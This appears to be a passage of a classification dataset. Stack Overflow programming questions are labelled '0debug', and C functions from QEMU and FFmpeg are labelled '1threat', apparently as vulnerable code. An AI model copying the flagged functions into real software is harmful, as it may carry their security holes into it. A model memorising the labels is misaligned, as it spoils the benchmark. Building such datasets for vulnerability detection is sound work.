<p>below is the tutorial link:</p>
<p>I checked the environment and I already have tensorflow environment in anaconda </p>
<pre><code>import tensorflow as tf
import zipfile
from collections import defaultdict
from io import StringIO
from matplotlib import pyplot as plt
from PIL import Image
sys.path.append("..")
from object_detection.utils import ops as utils_ops
from utils import label_map_util
from utils import visualization_utils as vis_util
MODEL_NAME = 'ssd_mobilenet_v1_coco_2017_11_17'
MODEL_FILE = MODEL_NAME + '.tar.gz'
DOWNLOAD_BASE = 'http://download.tensorflow.org/models/object_detection/'
PATH_TO_CKPT = MODEL_NAME + '/frozen_inference_graph.pb'
PATH_TO_LABELS = os.path.join('data', 'mscoco_label_map.pbtxt')
NUM_CLASSES = 90
opener = urllib.request.URLopener()
opener.retrieve(DOWNLOAD_BASE + MODEL_FILE, MODEL_FILE)
tar_file = tarfile.open(MODEL_FILE)
for file in tar_file.getmembers():
file_name = os.path.basename(file.name)
if 'frozen_inference_graph.pb' in file_name:
tar_file.extract(file, os.getcwd())
detection_graph = tf.Graph()
with detection_graph.as_default():
od_graph_def = tf.GraphDef()
with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:
serialized_graph = fid.read()
od_graph_def.ParseFromString(serialized_graph)
tf.import_graph_def(od_graph_def, name='')
</code></pre>
| 0debug |
Comparing table with sql/tsql in sql server 2012 : I have Four tables in sql server 2012, table1, table2, table3, and a (resultant/output table) table4
1) table1 is truncated and loaded with new data daily.
2) table1 columns col1,col2,col3 are similar to table2 columns col7,col18,col9 and table1 columns col1,col2,col3 are similar table3 col9,col11,col7
Problem
---
loop table1 to check for every row (col1,col2,col3) matches any row in the table2 (col7,col18,col9) then add row in table4 containing information table1.col1,table1.col2,table1.col3, table2.col6,table3.col1,table3.col7 and a column to indicate its an update
if row (col1,col2,col3) in table1 does not exist in table2 add row in table4 containing information table1.col1,table1.col2,table1.col3, table2.col6,table3.col1,table3.col7 and a column to indicate its an addition
if row (col7,col18,col9) in table2 does not exist in table1 add row in table4 containing information table1.col1,table1.col2,table1.col3, table2.col6,table3.col1,table3.col7 and a column to indicate its an deletion
1) return table4 as result
How can we do this with SQL/TSQL only.
| 0debug |
void virtio_queue_set_host_notifier_fd_handler(VirtQueue *vq, bool assign,
bool set_handler)
{
if (assign && set_handler) {
event_notifier_set_handler(&vq->host_notifier, true,
virtio_queue_host_notifier_read);
} else {
event_notifier_set_handler(&vq->host_notifier, true, NULL);
}
if (!assign) {
virtio_queue_host_notifier_read(&vq->host_notifier);
}
}
| 1threat |
int ff_mov_write_packet(AVFormatContext *s, AVPacket *pkt)
{
MOVMuxContext *mov = s->priv_data;
AVIOContext *pb = s->pb;
MOVTrack *trk = &mov->tracks[pkt->stream_index];
AVCodecContext *enc = trk->enc;
unsigned int samples_in_chunk = 0;
int size = pkt->size, ret = 0;
uint8_t *reformatted_data = NULL;
if (trk->entry) {
int64_t duration = pkt->dts - trk->cluster[trk->entry - 1].dts;
if (duration < 0 || duration > INT_MAX) {
av_log(s, AV_LOG_ERROR, "Application provided duration: %"PRId64" / timestamp: %"PRId64" is out of range for mov/mp4 format\n",
duration, pkt->dts
);
pkt->dts = trk->cluster[trk->entry - 1].dts + 1;
pkt->pts = AV_NOPTS_VALUE;
}
if (pkt->duration < 0) {
av_log(s, AV_LOG_ERROR, "Application provided duration: %"PRId64" is invalid\n", pkt->duration);
return AVERROR(EINVAL);
}
}
if (mov->flags & FF_MOV_FLAG_FRAGMENT) {
int ret;
if (mov->moov_written || mov->flags & FF_MOV_FLAG_EMPTY_MOOV) {
if (mov->frag_interleave && mov->fragments > 0) {
if (trk->entry - trk->entries_flushed >= mov->frag_interleave) {
if ((ret = mov_flush_fragment_interleaving(s, trk)) < 0)
return ret;
}
}
if (!trk->mdat_buf) {
if ((ret = avio_open_dyn_buf(&trk->mdat_buf)) < 0)
return ret;
}
pb = trk->mdat_buf;
} else {
if (!mov->mdat_buf) {
if ((ret = avio_open_dyn_buf(&mov->mdat_buf)) < 0)
return ret;
}
pb = mov->mdat_buf;
}
}
if (enc->codec_id == AV_CODEC_ID_AMR_NB) {
static const uint16_t packed_size[16] =
{13, 14, 16, 18, 20, 21, 27, 32, 6, 0, 0, 0, 0, 0, 0, 1};
int len = 0;
while (len < size && samples_in_chunk < 100) {
len += packed_size[(pkt->data[len] >> 3) & 0x0F];
samples_in_chunk++;
}
if (samples_in_chunk > 1) {
av_log(s, AV_LOG_ERROR, "fatal error, input is not a single packet, implement a AVParser for it\n");
return -1;
}
} else if (enc->codec_id == AV_CODEC_ID_ADPCM_MS ||
enc->codec_id == AV_CODEC_ID_ADPCM_IMA_WAV) {
samples_in_chunk = enc->frame_size;
} else if (trk->sample_size)
samples_in_chunk = size / trk->sample_size;
else
samples_in_chunk = 1;
if (trk->vos_len == 0 && enc->extradata_size > 0 &&
!TAG_IS_AVCI(trk->tag) &&
(enc->codec_id != AV_CODEC_ID_DNXHD)) {
trk->vos_len = enc->extradata_size;
trk->vos_data = av_malloc(trk->vos_len);
if (!trk->vos_data) {
ret = AVERROR(ENOMEM);
goto err;
}
memcpy(trk->vos_data, enc->extradata, trk->vos_len);
}
if (enc->codec_id == AV_CODEC_ID_AAC && pkt->size > 2 &&
(AV_RB16(pkt->data) & 0xfff0) == 0xfff0) {
if (!s->streams[pkt->stream_index]->nb_frames) {
av_log(s, AV_LOG_ERROR, "Malformed AAC bitstream detected: "
"use the audio bitstream filter 'aac_adtstoasc' to fix it "
"('-bsf:a aac_adtstoasc' option with ffmpeg)\n");
return -1;
}
av_log(s, AV_LOG_WARNING, "aac bitstream error\n");
}
if (enc->codec_id == AV_CODEC_ID_H264 && trk->vos_len > 0 && *(uint8_t *)trk->vos_data != 1 && !TAG_IS_AVCI(trk->tag)) {
if (trk->hint_track >= 0 && trk->hint_track < mov->nb_streams) {
ff_avc_parse_nal_units_buf(pkt->data, &reformatted_data,
&size);
avio_write(pb, reformatted_data, size);
} else {
if (mov->encryption_scheme == MOV_ENC_CENC_AES_CTR) {
size = ff_mov_cenc_avc_parse_nal_units(&trk->cenc, pb, pkt->data, size);
if (size < 0) {
ret = size;
goto err;
}
} else {
size = ff_avc_parse_nal_units(pb, pkt->data, pkt->size);
}
}
} else if (enc->codec_id == AV_CODEC_ID_HEVC && trk->vos_len > 6 &&
(AV_RB24(trk->vos_data) == 1 || AV_RB32(trk->vos_data) == 1)) {
if (trk->hint_track >= 0 && trk->hint_track < mov->nb_streams) {
ff_hevc_annexb2mp4_buf(pkt->data, &reformatted_data, &size, 0, NULL);
avio_write(pb, reformatted_data, size);
} else {
size = ff_hevc_annexb2mp4(pb, pkt->data, pkt->size, 0, NULL);
}
#if CONFIG_AC3_PARSER
} else if (enc->codec_id == AV_CODEC_ID_EAC3) {
size = handle_eac3(mov, pkt, trk);
if (size < 0)
return size;
else if (!size)
goto end;
avio_write(pb, pkt->data, size);
#endif
} else {
if (mov->encryption_scheme == MOV_ENC_CENC_AES_CTR) {
if (enc->codec_id == AV_CODEC_ID_H264 && enc->extradata_size > 4) {
int nal_size_length = (enc->extradata[4] & 0x3) + 1;
ret = ff_mov_cenc_avc_write_nal_units(s, &trk->cenc, nal_size_length, pb, pkt->data, size);
} else {
ret = ff_mov_cenc_write_packet(&trk->cenc, pb, pkt->data, size);
}
if (ret) {
goto err;
}
} else {
avio_write(pb, pkt->data, size);
}
}
if ((enc->codec_id == AV_CODEC_ID_DNXHD ||
enc->codec_id == AV_CODEC_ID_AC3) && !trk->vos_len) {
trk->vos_len = size;
trk->vos_data = av_malloc(size);
if (!trk->vos_data) {
ret = AVERROR(ENOMEM);
goto err;
}
memcpy(trk->vos_data, pkt->data, size);
}
if (trk->entry >= trk->cluster_capacity) {
unsigned new_capacity = 2 * (trk->entry + MOV_INDEX_CLUSTER_SIZE);
if (av_reallocp_array(&trk->cluster, new_capacity,
sizeof(*trk->cluster))) {
ret = AVERROR(ENOMEM);
goto err;
}
trk->cluster_capacity = new_capacity;
}
trk->cluster[trk->entry].pos = avio_tell(pb) - size;
trk->cluster[trk->entry].samples_in_chunk = samples_in_chunk;
trk->cluster[trk->entry].chunkNum = 0;
trk->cluster[trk->entry].size = size;
trk->cluster[trk->entry].entries = samples_in_chunk;
trk->cluster[trk->entry].dts = pkt->dts;
if (!trk->entry && trk->start_dts != AV_NOPTS_VALUE) {
if (!trk->frag_discont) {
trk->cluster[trk->entry].dts = trk->start_dts + trk->track_duration;
if ((mov->flags & FF_MOV_FLAG_DASH && !(mov->flags & FF_MOV_FLAG_GLOBAL_SIDX)) ||
mov->mode == MODE_ISM)
pkt->pts = pkt->dts + trk->end_pts - trk->cluster[trk->entry].dts;
} else {
trk->frag_start = pkt->dts - trk->start_dts;
trk->end_pts = AV_NOPTS_VALUE;
trk->frag_discont = 0;
}
}
if (!trk->entry && trk->start_dts == AV_NOPTS_VALUE && !mov->use_editlist &&
s->avoid_negative_ts == AVFMT_AVOID_NEG_TS_MAKE_ZERO) {
trk->cluster[trk->entry].dts = trk->start_dts = 0;
}
if (trk->start_dts == AV_NOPTS_VALUE) {
trk->start_dts = pkt->dts;
if (trk->frag_discont) {
if (mov->use_editlist) {
trk->frag_start = pkt->pts;
trk->start_dts = pkt->dts - pkt->pts;
} else {
trk->frag_start = pkt->dts;
trk->start_dts = 0;
}
trk->frag_discont = 0;
} else if (pkt->dts && mov->moov_written)
av_log(s, AV_LOG_WARNING,
"Track %d starts with a nonzero dts %"PRId64", while the moov "
"already has been written. Set the delay_moov flag to handle "
"this case.\n",
pkt->stream_index, pkt->dts);
}
trk->track_duration = pkt->dts - trk->start_dts + pkt->duration;
trk->last_sample_is_subtitle_end = 0;
if (pkt->pts == AV_NOPTS_VALUE) {
av_log(s, AV_LOG_WARNING, "pts has no value\n");
pkt->pts = pkt->dts;
}
if (pkt->dts != pkt->pts)
trk->flags |= MOV_TRACK_CTTS;
trk->cluster[trk->entry].cts = pkt->pts - pkt->dts;
trk->cluster[trk->entry].flags = 0;
if (trk->start_cts == AV_NOPTS_VALUE)
trk->start_cts = pkt->pts - pkt->dts;
if (trk->end_pts == AV_NOPTS_VALUE)
trk->end_pts = trk->cluster[trk->entry].dts +
trk->cluster[trk->entry].cts + pkt->duration;
else
trk->end_pts = FFMAX(trk->end_pts, trk->cluster[trk->entry].dts +
trk->cluster[trk->entry].cts +
pkt->duration);
if (enc->codec_id == AV_CODEC_ID_VC1) {
mov_parse_vc1_frame(pkt, trk);
} else if (pkt->flags & AV_PKT_FLAG_KEY) {
if (mov->mode == MODE_MOV && enc->codec_id == AV_CODEC_ID_MPEG2VIDEO &&
trk->entry > 0) {
mov_parse_mpeg2_frame(pkt, &trk->cluster[trk->entry].flags);
if (trk->cluster[trk->entry].flags & MOV_PARTIAL_SYNC_SAMPLE)
trk->flags |= MOV_TRACK_STPS;
} else {
trk->cluster[trk->entry].flags = MOV_SYNC_SAMPLE;
}
if (trk->cluster[trk->entry].flags & MOV_SYNC_SAMPLE)
trk->has_keyframes++;
}
trk->entry++;
trk->sample_count += samples_in_chunk;
mov->mdat_size += size;
if (trk->hint_track >= 0 && trk->hint_track < mov->nb_streams)
ff_mov_add_hinted_packet(s, pkt, trk->hint_track, trk->entry,
reformatted_data, size);
end:
err:
av_free(reformatted_data);
return ret;
}
| 1threat |
Can't use sql lag sum : My Query is like this
SELECT
[day], [time],AvaliableTimes,
case whEN AvaliableTimes >0 THEN sum(AvaliableTimes) OVER (
ORDER BY [day], [time],AvaliableTimes
) else 0 END AS SumValue
FROM
[AvailableTimes]
where [day] = 1 AND BranchAreaId = 1
ORDER BY
[day], [time],AvaliableTimes
I want to start sum from 0 if value is null or 0.
Results:
[Attached Image below][1]
[1]: https://i.stack.imgur.com/v0RDJ.jpg | 0debug |
iOS Undo the deleted cells in my tableview : <p>In my project i just want to hide the cells when swipe happend. if i hide the cell from tableview undo button will generate top of my navigation bar. Click on undo button the hidden cells should reappear.</p>
<p>Here is my code..</p>
<pre><code>-(NSArray *)tableView:(UITableView *)tableView editActionsForRowAtIndexPath:(NSIndexPath *)indexPath {
Download *download = [self.downloadManager.downloads objectAtIndex:indexPath.row];
// Get path to documents directory
NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
NSString *documentsPath = [paths objectAtIndex:0];
// Get zip file from path..
NSString *fileInDocumentsPath = [documentsPath stringByAppendingPathComponent:download.name];
NSLog(@"Looking for zip file %@", fileInDocumentsPath);
if ([[NSFileManager defaultManager] fileExistsAtPath:fileInDocumentsPath])
{
UITableViewRowAction *HideAction = [UITableViewRowAction rowActionWithStyle:UITableViewRowActionStyleNormal title:@"Hide" handler:^(UITableViewRowAction *action, NSIndexPath *indexPath){
//insert your editAction here
[self.downloadManager.downloads removeObjectAtIndex:indexPath.row];
[tableView deleteRowsAtIndexPaths:@[indexPath] withRowAnimation:UITableViewRowAnimationAutomatic];
[tableView endUpdates];
UIBarButtonItem *UndoButton = [[UIBarButtonItem alloc] initWithTitle:@"Undo" style:UIBarButtonItemStyleBordered target:self action:@selector(UndoAction:)];
self.navigationItem.rightBarButtonItem=UndoButton;
}];
HideAction.backgroundColor = [UIColor blueColor];
UITableViewRowAction *deleteAction = [UITableViewRowAction rowActionWithStyle:UITableViewRowActionStyleNormal title:@"Delete" handler:^(UITableViewRowAction *action, NSIndexPath *indexPath){
//insert your deleteAction here
}];
deleteAction.backgroundColor = [UIColor redColor];
return @[deleteAction,HideAction];
}
else
{
UITableViewRowAction *HideAction = [UITableViewRowAction rowActionWithStyle:UITableViewRowActionStyleNormal title:@"Hide" handler:^(UITableViewRowAction *action, NSIndexPath *indexPath){
//insert your editAction here
}];
HideAction.backgroundColor = [UIColor blueColor];
return @[HideAction];
}
}
</code></pre>
| 0debug |
Android P FingerprintManager.hasEnrolledFingerprints replacement : <p>As of <strong>Android P (API 28)</strong> the <code>FingerprintManager</code> API was deprecated and Google suggests we should switch to <code>BiometricPrompt</code> API.</p>
<p>However <code>FingerprintManager</code> has a method named <code>hasEnrolledFingerprints</code> that we're currently using to display a prompt to the user right after he logs in with email / password where we ask him if he wants to use his fingerprint for future authentication (such as when the session expires).</p>
<p><code>BiometricPrompt</code> API doesn't have a similar method, so this breaks our current UX and we're not sure how to address this.</p>
<p>I guess the alternative would be to simply encrypt the user's password without allowing him the option to manually "enroll", and simply use the <code>BiometricPrompt</code> API when his session expires, but we feel that the user should be informed and opt-in into this feature.</p>
<p>I did some digging trying to find out where I could ask such a question on Google's feedback platform, but couldn't find where.</p>
<p>Any suggestions on this would be appreciated.</p>
| 0debug |
Unrecognized font family ionicons : <p>I followed the setup instructions in the <a href="http://nativebase.io/documentation" rel="noreferrer">NativeBase Docs</a> and ran <code>rnpm link</code>. I am getting this error:
<a href="http://i.stack.imgur.com/DjfZB.png" rel="noreferrer">Unrecognized font family ionicons</a></p>
<p>also checked by Xcode, the fonts are already in the build phase.
What am I missing?</p>
| 0debug |
SQL - Derive 445 Quarter for any given date : Need assistance in writing a query that determines the quarter of a given date based on 445 FY calendar. The FY ends on first Friday of february every year.
For example in attached image of a table, the db has the order id and order created date. Based on the order created date I want to determine which 445 FY quarter does it fall in.
[Mock Table][1]
Please assist.
Regards,
Sidders
[1]: https://i.stack.imgur.com/AnSmY.png | 0debug |
Array with modifying properties : I have an array of strings with size 5. As a part of my programming these 5 Strings in the array is added dynamically. I have to display those arrays in my program. When a 6th element string /new element string comes, it should remove the 5th string in the array and the new element is added in the first position. Other 4 elements should be replaced to their next position. How it is possible without using loops ? | 0debug |
How to Add to MySQL Configuration on Travis CI When Not Sudo : <p>I am trying to figure out how to change MySQL configuration before a Travis CI test run. We are using the "sudo:false" directive, I think to use containers...I'm not the best devops person. </p>
<p>But even when I set sudo to true, I can't restart MySQL after I try to add lines to "/etc/mysql/my.cnf". </p>
<p>So,</p>
<pre><code> - cat "some/directory/my.cnf" | sudo tee -a /etc/mysql/my.cnf
- sudo /etc/init.d/mysql restart
</code></pre>
<p>gives me: "start: Job failed to start", but I don't even want to use sudo. For PHP config, I can do something like:</p>
<pre><code> - echo "apc.shm_size=256M" >> ~/.phpenv/versions/$(phpenv version-name)/etc/php.ini
</code></pre>
<p>but I can't see anything in my home folder about MySQL. </p>
<p>I also know about:</p>
<pre><code> - mysql -e "SET GLOBAL innodb_buffer_pool_size = 512M;"
</code></pre>
<p>but the things I want to set give me:</p>
<pre><code> ERROR 1238 (HY000) at line 1: Variable 'innodb_buffer_pool_size' is a read only variable
</code></pre>
<p>So, I'm at a loss on how to accomplish changing MySQL configuration on Travis CI, and every internet search and method I've tried has failed me. </p>
| 0debug |
How to append a file with the existing one using CURL? : <p>I've searched all over the web but couldn't find anything useful for this. Using CURL, I want to append content to a file which is already existing and named as <code>test.pls</code>. Can anyone please tell me how can I do it using curl. The commands I've tried are</p>
<pre><code>curl http://192.99.8.170:8098/stream --output test.pls
curl -K --output test.pls http://192.99.8.170:8098/stream
curl -a --output test.pls http://192.99.8.170:8098/stream
</code></pre>
<p>But all of above starts creating files from scratch.They don't keep the initial content of file Can anyone please help me!</p>
| 0debug |
static void csrhci_in_packet(struct csrhci_s *s, uint8_t *pkt)
{
uint8_t *rpkt;
int opc;
switch (*pkt ++) {
case H4_CMD_PKT:
opc = le16_to_cpu(((struct hci_command_hdr *) pkt)->opcode);
if (cmd_opcode_ogf(opc) == OGF_VENDOR_CMD) {
csrhci_in_packet_vendor(s, cmd_opcode_ocf(opc),
pkt + sizeof(struct hci_command_hdr),
s->in_len - sizeof(struct hci_command_hdr) - 1);
return;
}
s->hci->cmd_send(s->hci, pkt, s->in_len - 1);
break;
case H4_EVT_PKT:
goto bad_pkt;
case H4_ACL_PKT:
s->hci->acl_send(s->hci, pkt, s->in_len - 1);
break;
case H4_SCO_PKT:
s->hci->sco_send(s->hci, pkt, s->in_len - 1);
break;
case H4_NEG_PKT:
if (s->in_hdr != sizeof(csrhci_neg_packet) ||
memcmp(pkt - 1, csrhci_neg_packet, s->in_hdr)) {
fprintf(stderr, "%s: got a bad NEG packet\n", __func__);
return;
}
pkt += 2;
rpkt = csrhci_out_packet_csr(s, H4_NEG_PKT, 10);
*rpkt ++ = 0x20;
memcpy(rpkt, pkt, 7); rpkt += 7;
*rpkt ++ = 0xff;
*rpkt = 0xff;
break;
case H4_ALIVE_PKT:
if (s->in_hdr != 4 || pkt[1] != 0x55 || pkt[2] != 0x00) {
fprintf(stderr, "%s: got a bad ALIVE packet\n", __func__);
return;
}
rpkt = csrhci_out_packet_csr(s, H4_ALIVE_PKT, 2);
*rpkt ++ = 0xcc;
*rpkt = 0x00;
break;
default:
bad_pkt:
fprintf(stderr, "%s: got a bad packet\n", __func__);
break;
}
csrhci_fifo_wake(s);
}
| 1threat |
static CharDriverState *qmp_chardev_open_socket(ChardevSocket *sock,
Error **errp)
{
SocketAddress *addr = sock->addr;
bool do_nodelay = sock->has_nodelay ? sock->nodelay : false;
bool is_listen = sock->has_server ? sock->server : true;
bool is_telnet = sock->has_telnet ? sock->telnet : false;
bool is_waitconnect = sock->has_wait ? sock->wait : false;
int fd;
if (is_listen) {
fd = socket_listen(addr, errp);
} else {
fd = socket_connect(addr, errp, NULL, NULL);
}
if (error_is_set(errp)) {
return NULL;
}
return qemu_chr_open_socket_fd(fd, do_nodelay, is_listen,
is_telnet, is_waitconnect, errp);
}
| 1threat |
Handle named anchors (fragments) for backbone router in IE9 : I'm using **backbonejs** but as **IE9** doesn't support **pushState API**, the URL is converted from `/page` to `/#page`. The challenge is that I need to take care about `<a href="#section">Go to section</a>` fragments, but once clicked, the last part `#section` will be removed from URL and I need it for sharing.
How can I handle this sittuation? | 0debug |
Failed to transform a rust iter().fold(....) into par_iter().fold(....) : I'm trying to use rayon to initiate a series of top level "threads" to call a simulation function recursively. The code works when using channel send & recv, so it is "multi-threading" compatible. But fails to compile with par_iter().
fn simulate(initial_board: &Board, player: Player, level: u32, start: bool) -> Option<AMove> {
...
#[inline(always)]
fn evaluate_move(previous: Option<AMove>, new_move: &AMove, new_score: i32, player: Player) -> AMove {
...
}
...
let accumlator = |previous: Option<AMove>, a_move: &Option<AMove>| if let Some(AMove { board: ref a_board, .. }) = *a_move {
...
} else {
previous
};
if start && !winning {
the_move = moves.par_iter().fold(the_move, accumlator);
} else {
the_move = moves.iter().fold(the_move, accumlator);
}
the_move
}
I get a compiler error on the line with par_iter() and I'm lost on how to fix these.
Compiling four v0.2.0 (file:///home/serge/Development/rust/four)
error[E0277]: the trait bound `std::option::Option<AMove>: std::ops::Fn<()>` is not satisfied
--> src/main.rs:271:37
|
271 | the_move = moves.par_iter().fold(the_move, accumlator);
| ^^^^ the trait `std::ops::Fn<()>` is not implemented for `std::option::Option<AMove>`
error[E0277]: the trait bound `std::option::Option<AMove>: std::ops::FnOnce<()>` is not satisfied
--> src/main.rs:271:37
|
271 | the_move = moves.par_iter().fold(the_move, accumlator);
| ^^^^ the trait `std::ops::FnOnce<()>` is not implemented for `std::option::Option<AMove>`
error[E0308]: mismatched types
--> src/main.rs:271:20
|
271 | the_move = moves.par_iter().fold(the_move, accumlator);
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ expected enum `std::option::Option`, found struct `rayon::iter::Fold`
|
= note: expected type `std::option::Option<_>`
found type `rayon::iter::Fold<rayon::slice::Iter<'_, std::option::Option<AMove>>, std::option::Option<_>, [closure@src/main.rs:224:22: 240:6 winning:_, level:_, player:_]>`
error: aborting due to 3 previous errors
| 0debug |
static void qmp_output_type_int64(Visitor *v, const char *name, int64_t *obj,
Error **errp)
{
QmpOutputVisitor *qov = to_qov(v);
qmp_output_add(qov, name, qint_from_int(*obj));
}
| 1threat |
Js oop design pattern function difference ? : <p>type 1</p>
<pre><code> this.toString = function () {
};
</code></pre>
<p>type 2</p>
<pre><code> myPublicMethod: function () {
}
</code></pre>
<p>type3</p>
<pre><code> var myPrivateMethod = function () {
}
</code></pre>
<p>type4</p>
<pre><code>Y.store.basket = (function () {
})();
</code></pre>
<p>i am studying JS oop design pattern , i have this all kind of function which is confuse me , what the difference btw this all this function , type 2 and type 3 which is public and private ?</p>
| 0debug |
Android phone doesn't connect to PC : in the last week I've been trying to connect my meizu m2 phone to my computer for debugging purposes (running an app from android studio) without any success. I've enabled my USB debugging mode on my device, I've connected it to be on MTP rather than PTP, and I've also taken a look at my computer's device manager, and seen that the device wasn't listed under other devices category, and honestly I couldn't tell where was he listed.
In addition, I've opened android studio and pressed the "run app" button, but my phone wasn't recognized by android studio.
Please help me fix this issue. | 0debug |
static inline void RENAME(rgb24toyv12)(const uint8_t *src, uint8_t *ydst, uint8_t *udst, uint8_t *vdst,
long width, long height,
long lumStride, long chromStride, long srcStride)
{
long y;
const x86_reg chromWidth= width>>1;
#if COMPILE_TEMPLATE_MMX
for (y=0; y<height-2; y+=2) {
long i;
for (i=0; i<2; i++) {
__asm__ volatile(
"mov %2, %%"REG_a" \n\t"
"movq "MANGLE(ff_bgr2YCoeff)", %%mm6 \n\t"
"movq "MANGLE(ff_w1111)", %%mm5 \n\t"
"pxor %%mm7, %%mm7 \n\t"
"lea (%%"REG_a", %%"REG_a", 2), %%"REG_d" \n\t"
".p2align 4 \n\t"
"1: \n\t"
PREFETCH" 64(%0, %%"REG_d") \n\t"
"movd (%0, %%"REG_d"), %%mm0 \n\t"
"movd 3(%0, %%"REG_d"), %%mm1 \n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"movd 6(%0, %%"REG_d"), %%mm2 \n\t"
"movd 9(%0, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm0 \n\t"
"pmaddwd %%mm6, %%mm1 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
"pmaddwd %%mm6, %%mm3 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm0 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm1, %%mm0 \n\t"
"packssdw %%mm3, %%mm2 \n\t"
"pmaddwd %%mm5, %%mm0 \n\t"
"pmaddwd %%mm5, %%mm2 \n\t"
"packssdw %%mm2, %%mm0 \n\t"
"psraw $7, %%mm0 \n\t"
"movd 12(%0, %%"REG_d"), %%mm4 \n\t"
"movd 15(%0, %%"REG_d"), %%mm1 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"movd 18(%0, %%"REG_d"), %%mm2 \n\t"
"movd 21(%0, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm4 \n\t"
"pmaddwd %%mm6, %%mm1 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
"pmaddwd %%mm6, %%mm3 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm4 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm1, %%mm4 \n\t"
"packssdw %%mm3, %%mm2 \n\t"
"pmaddwd %%mm5, %%mm4 \n\t"
"pmaddwd %%mm5, %%mm2 \n\t"
"add $24, %%"REG_d" \n\t"
"packssdw %%mm2, %%mm4 \n\t"
"psraw $7, %%mm4 \n\t"
"packuswb %%mm4, %%mm0 \n\t"
"paddusb "MANGLE(ff_bgr2YOffset)", %%mm0 \n\t"
MOVNTQ" %%mm0, (%1, %%"REG_a") \n\t"
"add $8, %%"REG_a" \n\t"
" js 1b \n\t"
: : "r" (src+width*3), "r" (ydst+width), "g" ((x86_reg)-width)
: "%"REG_a, "%"REG_d
);
ydst += lumStride;
src += srcStride;
}
src -= srcStride*2;
__asm__ volatile(
"mov %4, %%"REG_a" \n\t"
"movq "MANGLE(ff_w1111)", %%mm5 \n\t"
"movq "MANGLE(ff_bgr2UCoeff)", %%mm6 \n\t"
"pxor %%mm7, %%mm7 \n\t"
"lea (%%"REG_a", %%"REG_a", 2), %%"REG_d" \n\t"
"add %%"REG_d", %%"REG_d" \n\t"
".p2align 4 \n\t"
"1: \n\t"
PREFETCH" 64(%0, %%"REG_d") \n\t"
PREFETCH" 64(%1, %%"REG_d") \n\t"
#if COMPILE_TEMPLATE_MMX2 || COMPILE_TEMPLATE_AMD3DNOW
"movq (%0, %%"REG_d"), %%mm0 \n\t"
"movq (%1, %%"REG_d"), %%mm1 \n\t"
"movq 6(%0, %%"REG_d"), %%mm2 \n\t"
"movq 6(%1, %%"REG_d"), %%mm3 \n\t"
PAVGB" %%mm1, %%mm0 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"movq %%mm0, %%mm1 \n\t"
"movq %%mm2, %%mm3 \n\t"
"psrlq $24, %%mm0 \n\t"
"psrlq $24, %%mm2 \n\t"
PAVGB" %%mm1, %%mm0 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
#else
"movd (%0, %%"REG_d"), %%mm0 \n\t"
"movd (%1, %%"REG_d"), %%mm1 \n\t"
"movd 3(%0, %%"REG_d"), %%mm2 \n\t"
"movd 3(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm0 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm2, %%mm0 \n\t"
"movd 6(%0, %%"REG_d"), %%mm4 \n\t"
"movd 6(%1, %%"REG_d"), %%mm1 \n\t"
"movd 9(%0, %%"REG_d"), %%mm2 \n\t"
"movd 9(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm4 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm4, %%mm2 \n\t"
"psrlw $2, %%mm0 \n\t"
"psrlw $2, %%mm2 \n\t"
#endif
"movq "MANGLE(ff_bgr2VCoeff)", %%mm1 \n\t"
"movq "MANGLE(ff_bgr2VCoeff)", %%mm3 \n\t"
"pmaddwd %%mm0, %%mm1 \n\t"
"pmaddwd %%mm2, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm0 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm0 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm2, %%mm0 \n\t"
"packssdw %%mm3, %%mm1 \n\t"
"pmaddwd %%mm5, %%mm0 \n\t"
"pmaddwd %%mm5, %%mm1 \n\t"
"packssdw %%mm1, %%mm0 \n\t"
"psraw $7, %%mm0 \n\t"
#if COMPILE_TEMPLATE_MMX2 || COMPILE_TEMPLATE_AMD3DNOW
"movq 12(%0, %%"REG_d"), %%mm4 \n\t"
"movq 12(%1, %%"REG_d"), %%mm1 \n\t"
"movq 18(%0, %%"REG_d"), %%mm2 \n\t"
"movq 18(%1, %%"REG_d"), %%mm3 \n\t"
PAVGB" %%mm1, %%mm4 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"movq %%mm4, %%mm1 \n\t"
"movq %%mm2, %%mm3 \n\t"
